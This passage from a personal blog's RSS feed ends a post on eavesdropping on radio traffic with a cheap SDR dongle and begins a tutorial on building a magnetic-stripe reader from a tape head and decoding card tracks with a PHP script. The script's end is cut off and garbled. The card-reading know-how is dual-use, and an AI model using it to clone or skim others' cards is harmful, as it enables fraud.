<a href="http://andrewmohawk.com/antenna/Samples/HDSDR_20120427_082658Z_124504kHz_AF.wav">HDSDR_20120427_082658Z_124504kHz_AF.wav</a></p>
<p><strong>Hand held radios:</strong><br />
Security Guards Checking in with OB number:<br />
<a href="HDSDR_20120428_234419Z_155117kHz_AF.wav">HDSDR_20120428_234419Z_155117kHz_AF.wav</a></p>
<p><strong>Tow trucks:</strong><br />
<a href="http://andrewmohawk.com/antenna/Samples/HDSDR_20120428_235938Z_158130kHz_AF.wav">HDSDR_20120428_235938Z_158130kHz_AF.wav</a></p>
<p><strong>Automated Air Information</strong> (no idea on the real name for this)<br />
<a href="http://andrewmohawk.com/antenna/Samples/HDSDR_20120429_000601Z_126204kHz_AF.wav">HDSDR_20120429_000601Z_126204kHz_AF.wav</a></p>
<p><strong>Two microlights talking:</strong><br />
<a href="http://andrewmohawk.com/antenna/Samples/HDSDR_20120429_090121Z_123453kHz_AF.wav">HDSDR_20120429_090121Z_123453kHz_AF.wav</a></p>
<p><strong>Commercial Airline Approach:</strong><br />
<a href="http://andrewmohawk.com/antenna/Samples/HDSDR_20120429_090458Z_122804kHz_AF.wav">HDSDR_20120429_090458Z_122804kHz_AF.wav</a></p>
<p><strong>Automated Weather/Other forcast:</strong>(from San Jose where I am for this week)<br />
<a href="http://andrewmohawk.com/antenna/Samples/HDSDR_20120714_003734Z_163555kHz_AF.wav">HDSDR_20120714_003734Z_163555kHz_AF.wav</a></p>
<p>The basics of what I assume now are (lesbiserious, its only been a few days, take everything with a pinch of salt):<br />
* If its gov/country related and analog its gonna be Amplitude Modulated (AM)<br />
* If its private sector its gonna be FM &#8211; And then you are kinda interested in say 150-170Mhz and 440-450Mhz &#8211; there are tons of things to listen to.</p>
<p>From here there is still about 99 more levels for me to look at, such as:<br />
* How to build and transmitter (its cool that tuning to 144Mhz shows you gate remotes going off &#8211; but how can you &#8216;replay&#8217; it?).<br />
* How antenna design really works (without guessing) &#8211; and getting a real antenna.<br />
* What different type of signals look like (I can merely identify AM and FM)<br />
* Decoding something digital</p>
<p>While it appears all fun and games here, it is interesting to note that security companies are running their base&lt;-&gt;guard communications essentially &#8216;in the clear&#8217; (http for the rest of us). Which for $20 I can clearly listen to, additionally I can also listen and find out where the guards are and if there are any issues at the moment, seems perfect for crime? Most police forces are using <a href="https://en.wikipedia.org/wiki/Terrestrial_Trunked_Radio">TETRA</a> (including Gauteng), read https, which at least means criminals can&#8217;t simply listen in, however most places of importance (banks, offices) where someone might want to steal data are protected by private companies &#8211; with all data in the clear.</p>
<p>But thats an update. Game saved to Slot 1.</p>
<p>People seem to have switched from using WRPlus to SDR# which seems to be the new up and coming kid on the block! <a href="http://sdrsharp.com/">http://sdrsharp.com/</a></p>
<p>-AM</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2012/07/15/rtlsdr-my-first-sdr/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
<enclosure url="http://andrewmohawk.com/antenna/Samples/HDSDR_20120427_082658Z_124504kHz_AF.wav" length="198872" type="audio/wav" />
<enclosure url="http://andrewmohawk.com/antenna/Samples/HDSDR_20120428_235938Z_158130kHz_AF.wav" length="291032" type="audio/wav" />
<enclosure url="http://andrewmohawk.com/antenna/Samples/HDSDR_20120429_000601Z_126204kHz_AF.wav" length="454872" type="audio/wav" />
<enclosure url="http://andrewmohawk.com/antenna/Samples/HDSDR_20120429_090121Z_123453kHz_AF.wav" length="1606872" type="audio/wav" />
<enclosure url="http://andrewmohawk.com/antenna/Samples/HDSDR_20120429_090458Z_122804kHz_AF.wav" length="271576" type="audio/wav" />
<enclosure url="http://andrewmohawk.com/antenna/Samples/HDSDR_20120714_003734Z_163555kHz_AF.wav" length="961752" type="audio/wav" />
		</item>
		<item>
		<title>Magnetic stripes Part 1</title>
		<link>http://andrewmohawk.com/2012/05/29/magnetic-stripes-part-1/</link>
		<comments>http://andrewmohawk.com/2012/05/29/magnetic-stripes-part-1/#comments</comments>
		<pubDate>Mon, 28 May 2012 23:33:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Magnetic Stripes]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Aiken Biphase]]></category>
		<category><![CDATA[B2C]]></category>
		<category><![CDATA[Credit Card]]></category>
		<category><![CDATA[magnetic card]]></category>
		<category><![CDATA[Magstripe]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=458</guid>
		<description><![CDATA[Intro So its been nearly a month since I last put a blog post up and I have been working on some stuff in my free time between work (been traveling to the US and took a weekend off to visit some friends in Canada). I&#8217;m not particularly in the mood to write a new [...]]]></description>
				<content:encoded><![CDATA[<h2>Intro</h2>
<p>So its been nearly a month since I last put a blog post up and I have been working on some stuff in my free time between work (been traveling to the US and took a weekend off to visit some friends in Canada). I&#8217;m not particularly in the mood to write a new post, but you know how it is, if I don&#8217;t start writing it I&#8217;ll never get round to it.</p>
<p>Essentially I have always been fascinated by the idea of being able to &#8216;hack&#8217; with/into physical things, whether it be the Arduino and my watering system (btw you can see those stats at http://andrewmohawk.dyndns.org/AWS/), changing data on RFID cards or being that sneaky kid jackpotting ATM machines.</p>
<p>I started looking at magnetic stripes, mostly because they are *everywhere*, from bank cards, customer loyalty and even parking systems.</p>
<h2>Overview</h2>
<p>The basic gist of the system is that there are many tiny magnets or magnetic particles (usually iron oxide) which are magnetized in a specific manner within a magstripe. Essentially you take the card (or think of it as many magnets) and put it next to a magnetic reader (card reader) which then reads the fields. These fields are then taken to good ol 1&#8242;s and 0&#8242;s and used within backend systems after a bit of decoding.</p>
<p>The magnetic stripe on a card is actually made up of 3 different &#8216;stripes&#8217; or tracks (<strong>usually </strong>- different types of cards will have a different number of tracks), right above each other. Each of these tracks can hold different amounts of data and for the basic breakdown you can read up about em at http://www.gae.ucm.es/~padilla/extrawork/tracks.html and http://www.ded.co.uk/magnetic-stripe-card-standards/</p>
<p><strong>TL;DR</strong> &#8211; Track 2/3 = Numbers, Track1 = UPPERCASE,numbers<br />
<span id="more-458"></span></p>
<h2>Reading</h2>
<p>Most magstripes use whats known as F2F/Aiken Biphase/BMC encoding, which determines whether something is a 1 or a 0 by looking at the change within a particular &#8216;phase&#8217; (the time taken for one cycle). The time for a phase is identified by a series of 0&#8242;s at the beginning of each track (essentially just allowing the reader to say okay i see them coming past at x ms).  This is known as self-clocking and allows readers to read cards that are pushed through by a human rather than say that of a tape player where it is a fixed speed.</p>
<p>This blog post very nicely describes how the reading works: <a title="http://www.qualifilms.com/blog/computer-science/2009/06/back-to-basics-reverse-engineering-of-a-non-standard-magstripe-part-one/" href="http://www.qualifilms.com/blog/computer-science/2009/06/back-to-basics-reverse-engineering-of-a-non-standard-magstripe-part-one/">http://www.qualifilms.com/blog/computer-science/2009/06/back-to-basics-reverse-engineering-of-a-non-standard-magstripe-part-one/</a> with images too!</p>
<p><strong>TL;DR</strong> It works it out from the changes in the phase and does the timing from the initial 0&#8242;s</p>
<p>This diagram explains it best:</p>
<div class="wp-caption alignleft" style="width: 527px"><img title="Magenetic Stripe Read" alt="Magenetic Stripe Read" src="http://i.stack.imgur.com/sujgQ.gif" width="517" height="268" /><p class="wp-caption-text">Reading a Magnetic Stripe</p></div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2>Building a Reader</h2>
<p>So first things first, I needed to be able to successfully *read* magnetic stripes as an audio file so that I could start playing with them. The easiest way to do this was simply to create a magnetic stripe &#8216;reader&#8217;, there are a few posts on this and they basically come in the form of two options:</p>
<ul>
<li>Buy one (you can simply purchase a reader practically anywhere and then take it apart to get straight audio out &#8211; rather than the decoded wav</li>
<li>Build one (this tech was used all over tape players way back so you can strip em to make one)</li>
</ul>
<p>Because of my limited (read no) budget, I decided to build one from an old tape player.</p>
<h2>Taking apart a Tape player</h2>
<p>Initially I started by going to many different second hand stores, thrift shops and so on to look for a radio with tape player to use for this. Surprisingly people seem to have just thrown most of them away and I couldn&#8217;t find *any* near where I stay. However I have read about other people who have found plenty at second hand stores/tips etc. So look around. I found a really cheap one for R80 at a cheap chinese store near me:</p>
<p>Anyway, I skillfully (read unskillfully) began disassembling (read destroying) my R80 tape player to get to the read head:</p>
<div id="attachment_465" class="wp-caption alignleft" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/05/DSC02851.jpg"><img class="size-medium wp-image-465" title="The original Tape Player" alt="The original Tape Player" src="http://andrewmohawk.com/wp-content/uploads/2012/05/DSC02851-300x225.jpg" width="300" height="225" /></a><p class="wp-caption-text">The original Tape Player</p></div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div id="attachment_489" class="wp-caption alignnone" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/05/dis2.jpg"><img class="size-medium wp-image-489 " title="Disassembly" alt="Disassembly" src="http://andrewmohawk.com/wp-content/uploads/2012/05/dis2-300x225.jpg" width="300" height="225" /></a><p class="wp-caption-text">Disassembly</p></div>
<div id="attachment_488" class="wp-caption alignnone" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/05/dis1.jpg"><img class="size-medium wp-image-488 " title="Disassembly" alt="Disassembly" src="http://andrewmohawk.com/wp-content/uploads/2012/05/dis1-300x225.jpg" width="300" height="225" /></a><p class="wp-caption-text">Disassembly</p></div>
<p>So after I had carefully (read completely uncarefully, possibly drunk and with all sorts of arb hammering/pulling and breaking) taken apart the packaging I could get to the juicy bits, the actual tape reading mechanism and specifically what I was looking for &#8211; the read head:</p>
<div id="attachment_466" class="wp-caption alignnone" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/05/DSC02860.jpg"><img class="size-medium wp-image-466 " title="Read Head (in blue)" alt="Read Head (in blue)" src="http://andrewmohawk.com/wp-content/uploads/2012/05/DSC02860-300x225.jpg" width="300" height="225" /></a><p class="wp-caption-text">Read Head (in silver)</p></div>
<p>Next was the process of wiring up the read head (in silver) to the pc. Essentially the one side you need a mono jack (or take a stereo jack and wire a single wire to both sides of it &#8211; like i did) which will go into the PC to record the audio. These jacks can be taken from any old set of headphones or you can go and buy one at an electronics store (super cheap). The other side of the cable is simply wired to either side of the magnetic read head as below:</p>
<div id="attachment_496" class="wp-caption alignleft" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/05/DSC03237_1080x810.jpg"><img class="size-medium wp-image-496" title="Magnetic read head" alt="Magnetic read head" src="http://andrewmohawk.com/wp-content/uploads/2012/05/DSC03237_1080x810-300x225.jpg" width="300" height="225" /></a><p class="wp-caption-text">Magnetic Read head</p></div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div id="attachment_498" class="wp-caption alignnone" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/05/DSC03251_1080x810.jpg"><img class="size-medium wp-image-498" title="Mono Jack" alt="Mono Jack" src="http://andrewmohawk.com/wp-content/uploads/2012/05/DSC03251_1080x810-300x225.jpg" width="300" height="225" /></a><p class="wp-caption-text">Mono Jack</p></div>
<p>&nbsp;</p>
<h2>Reading cards:</h2>
<p>The next stage after setting up the read head to a mono jack is to read the magnetic data on a card. As said before the &#8216;tracks&#8217; are actually all on top of each other for generic cards. <a href="http://andrewmohawk.com/wp-admin/www.ded.co.uk/magnetic-stripe-card-standards/" target="_blank">This page</a> gives you a lot of really good information on the layout of cards and definitely recommended reading.</p>
<p><strong>TL;DR: </strong>tracks are as follows:</p>
<table>
<tbody>
<tr>
<td>0.223&#8243;</td>
<td>TRACK</td>
<td>Recording Density<br />
(Bits per inch)</td>
<td>Character Configuration<br />
(including parity bit)</td>
<td>Information Content<br />
(inclusing control characters)</td>
</tr>
<tr>
<td width="60">0.110&#8243;</td>
<td>1 IATA</td>
<td>210</td>
<td>7 bits per character</td>
<td>79 alphanumeric charcters</td>
</tr>
<tr>
<td>0.110&#8243;</td>
<td>2 ABA</td>
<td>210</td>
<td>5 bits per character</td>
<td>40 numeric characters</td>
</tr>
<tr>
<td>0.110&#8243;</td>
<td>3 THRIFT</td>
<td>210</td>
<td>5 bits per character</td>
<td>107 numeric characters</td>
</tr>
</tbody>
</table>
<p>Essentially this means that if you wish to get the track information off you need to use a ruler to get the distance from the card correct and slide the magnetic read head along the edge of the ruler. This is a painful process as the ruler often moves or you are just above or below the track.</p>
<p>The way I have found to get it to work the best, is to simply find a second hand/broken/cheap TTL/other reader and modify it to have the magnetic read head go straight into the pc, something like this:</p>
<div id="attachment_503" class="wp-caption alignnone" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/05/readerDSC03254_1080x810.jpg"><img class="size-medium wp-image-503 " title="Modified TTL Reader" alt="Modified TTL Reader" src="http://andrewmohawk.com/wp-content/uploads/2012/05/readerDSC03254_1080x810-300x225.jpg" width="300" height="225" /></a><p class="wp-caption-text">Modified TTL Reader</p></div>
<div id="attachment_504" class="wp-caption alignnone" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/05/readerDSC03255_1080x810.jpg"><img class="size-medium wp-image-504 " title="Modified TTL Reader" alt="Modified TTL Reader" src="http://andrewmohawk.com/wp-content/uploads/2012/05/readerDSC03255_1080x810-300x225.jpg" width="300" height="225" /></a><p class="wp-caption-text">Modified TTL Reader</p></div>
<p>&nbsp;</p>
<h2>Working with Audio</h2>
<p>Now you have a the reader setup, or a painful ruler setup the next step is to get the audio out. Fire up any old sound recorder (I like audacity), connect the Mono plug into the mic jack, hit record and swipe away!</p>
<p>I put up a sample of a generic customer loyality card at soundcloud: <a href="http://soundcloud.com/andrew-3/card-swipe/s-MvlVg" target="_blank">http://soundcloud.com/andrew-3/card-swipe/s-MvlVg</a></p>
<p>Within audacity you can see it as:</p>
<div id="attachment_507" class="wp-caption alignnone" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/05/loyality-card.png"><img class="size-medium wp-image-507 " title="loyality-card" alt="loyality-card" src="http://andrewmohawk.com/wp-content/uploads/2012/05/loyality-card-300x53.png" width="300" height="53" /></a><p class="wp-caption-text">loyality-card</p></div>
<p>Zooming in to the card swipe you can see the data a lot clearer:</p>
<div id="attachment_508" class="wp-caption alignnone" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/05/loyality-card-zoomed.png"><img class="size-medium wp-image-508" title="loyality-card-zoomed" alt="loyality-card-zoomed" src="http://andrewmohawk.com/wp-content/uploads/2012/05/loyality-card-zoomed-300x53.png" width="300" height="53" /></a><p class="wp-caption-text">loyality-card-zoomed</p></div>
<p>(the data above is the &#8216;clocking&#8217; zeros followed by the first bits of the card)</p>
<h2>How the audio works</h2>
<p>The &#8216;audio&#8217; is really just the encoded data, essentially a number of zero&#8217;s are seen at the front of the track so that the readers can determine the speed at which the card is moving through and ultimately the time it takes for 1 complete cycle. After it has got this &#8216;synched&#8217; it will then start determining 1&#8242;s and 0&#8242;s by looking at whether the wave has changed within the specific period. This is also called <a href="http://en.wikipedia.org/wiki/Differential_Manchester_encoding" target="_blank">Differential Manchester Encode / Bimark Phase Code / Aiken Biphase or F2F</a>.</p>
<p>Its almost definitely best explained in images, and these great ones have been stolen from <a title="This blog" href="http://www.qualifilms.com/blog/computer-science/2009/06/back-to-basics-reverse-engineering-of-a-non-standard-magstripe-part-one/" target="_blank">This blog:</a></p>
<div class="wp-caption alignnone" style="width: 214px"><img title="Aiken Biphase" alt="Aiken Biphase" src="http://www.qualifilms.com/blog/wp-content/uploads/2009/06/bcd_bit0.png" width="204" height="124" /><p class="wp-caption-text">Aiken Biphase</p></div>
<div class="wp-caption alignnone" style="width: 214px"><img title="Aiken Biphase" alt="Aiken Biphase" src="http://www.qualifilms.com/blog/wp-content/uploads/2009/06/bcd_bit2.png" width="204" height="124" /><p class="wp-caption-text">Aiken Biphase</p></div>
<p>As you can see above in the first two periods the wave has changed (the period is highlighted in red) and is subsequently a 1 where as in the 3rd and 5th phase it has remained the same (not specific to a high or a low) and is a 0.</p>
<h2><strong>Decoding the Audio</strong></h2>
<p>Major Malfunction has a great selection of python tools over at <a title="alcrypto.co.uk" href="http://alcrypto.co.uk" target="_blank">alcrypto.co.uk</a> ( you&#8217;ll need to find the links), one of these being dab.py (Decode Aiken Biphase) &#8211; this script takes all the hard work (described previously) in getting the binary data out:</p>
<div id="attachment_510" class="wp-caption alignnone" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/05/dab-python.png"><img class="size-medium wp-image-510" title="Decode Aiken Biphase" alt="Decode Aiken Biphase" src="http://andrewmohawk.com/wp-content/uploads/2012/05/dab-python-300x68.png" width="300" height="68" /></a><p class="wp-caption-text">Decode Aiken Biphase</p></div>
<h2>Decoding the Binary</h2>
<p>So the binary is in the format of a 5 bit character (4 bits for the data and 1 bit for odd-parity checking) and works something like this:</p>
<p>Binary data: <span style="text-decoration: underline;">1100</span><strong>1</strong><br />
First four for data: <span style="text-decoration: underline;">1100</span><br />
Odd-Parity bit: <strong>1</strong></p>
<p>Looking at the above its first important to know that the parity bit (the last 1) is calculated by making sure there are an odd number of 1&#8242;s in the five bit sequence.<br />
Next you can look at the &#8216;data&#8217; which is 1100. The data is encoded with the least significant bit first, so the in essence it is read backwards and the actual data is 0011. This data can then be taken to decimal (0111 = 3), it is then shifted up 48 characters in the ASCII character set to return the ASCII value, thus the decimal value is 51 which is a 3.</p>
<p>I whipped up a PHP script to do this for the data I got out previously which returns as follows:</p>
<div id="attachment_514" class="wp-caption alignnone" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/05/dtrack2.png"><img class="size-medium wp-image-514" title="Decoding Track2" alt="Decoding Track2" src="http://andrewmohawk.com/wp-content/uploads/2012/05/dtrack2-300x274.png" width="300" height="274" /></a><p class="wp-caption-text">Decoding Track3</p></div>
<p>As you can see in the above screenshot this decodes nicely to &#8220;;7353280041358181=491252200000999?&#8221; and the first part of that being the number printed on my loyalty card:</p>
<div id="attachment_517" class="wp-caption alignnone" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/05/PNPCard.jpg"><img class="size-medium wp-image-517" title="Loyalty Card" alt="Loyalty Card" src="http://andrewmohawk.com/wp-content/uploads/2012/05/PNPCard-300x225.jpg" width="300" height="225" /></a><p class="wp-caption-text">Loyalty Card</p></div>
<h2>Code</h2>
<p>The code is available on pastebin for those interested: <a href="http://pastebin.com/h9eVqRxz">http://pastebin.com/h9eVqRxz</a></p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;!--</span>?php 
<span style="color: #666666; font-style: italic;">// AndrewMohawk</span>
<span style="color: #666666; font-style: italic;">// andrew@andrewmohawk.com</span>
<span style="color: #666666; font-style: italic;">// http://www.andrewmohawk.com</span>
&nbsp;
<span style="color: #666666; font-style: italic;">/* Decode Track 2/3 data from binary */</span>
<span style="color: #000088;">$binary</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;yourBinaryHere--&gt;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// this function by mtroy dot student at gmail dot com taken from http://php.net/manual/en/function.strpos.php</span>
<span style="color: #000000; font-weight: bold;">function</span> strpos_r<span style="color: #009900;">&#40;</span><span style="color: #000088;">$haystack</span><span style="color: #339933;">,</span> <span style="color: #000088;">$needle</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$needle</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$haystack</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #990000;">trigger_error</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">sprintf</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #009933; font-weight: bold;">%s</span>: length of argument 2 must be &amp;lt;= argument 1&quot;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">__FUNCTION__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">E_USER_WARNING</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000088;">$seeks</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$seek</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strrpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$haystack</span><span style="color: #339933;">,</span> <span style="color: #000088;">$needle</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
        <span style="color: #990000;">array_push</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$seeks</span><span style="color: #339933;">,</span> <span style="color: #000088;">$seek</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$haystack</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$haystack</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$seek</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$seeks</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> processBinary<span style="color: #009900;">&#40;</span><span style="color: #000088;">$binary</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$AsciiOutput</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//find start sentinal</span>
	<span style="color: #000088;">$start_sentinal</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$binary</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;11010&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$start_sentinal</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Could not find start sentinal<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//find end sentinal</span>
	<span style="color: #000088;">$end_sentinal</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$end_sentinals</span> <span style="color: #339933;">=</span> strpos_r<span style="color: #009900;">&#40;</span><span style="color: #000088;">$binary</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;11111&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$end_sentinals</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Could not find end sentinal<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Check end sentinal is on a 5 bit boundry </span>
	<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$end_sentinals</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$es</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$es</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$es</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$es</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$start_sentinal</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">%</span> <span style="color: #cc66cc;">5</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$end_sentinal</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$es</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$end_sentinal</span> <span style="color: #339933;">==</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;End sentinal not on correct boundry<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Lets decode the data:</span>
	<span style="color: #000088;">$bit_length</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">5</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 4 bits for data, 1 bit for odd-parity or LRC checking</span>
&nbsp;
	<span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$binary</span><span style="color: #339933;">,</span><span style="color: #000088;">$start_sentinal</span><span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$end_sentinal</span><span style="color: #339933;">-</span><span style="color: #000088;">$start_sentinal</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000088;">$currentBits</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$currentNum</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$finalString</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span>strlen<span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$currentbits</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #000088;">$bit_length</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #000088;">$currentbits</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #339933;">.=</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$data</span>[<span style="color: #006699; font-weight: bold;">$i</span>];&quot;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #000088;">$paritybit</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$currentBits[4]</span>;&quot;</span> <span style="color: #000088;">$databits</span><span style="color: #339933;">=</span><span style="color: 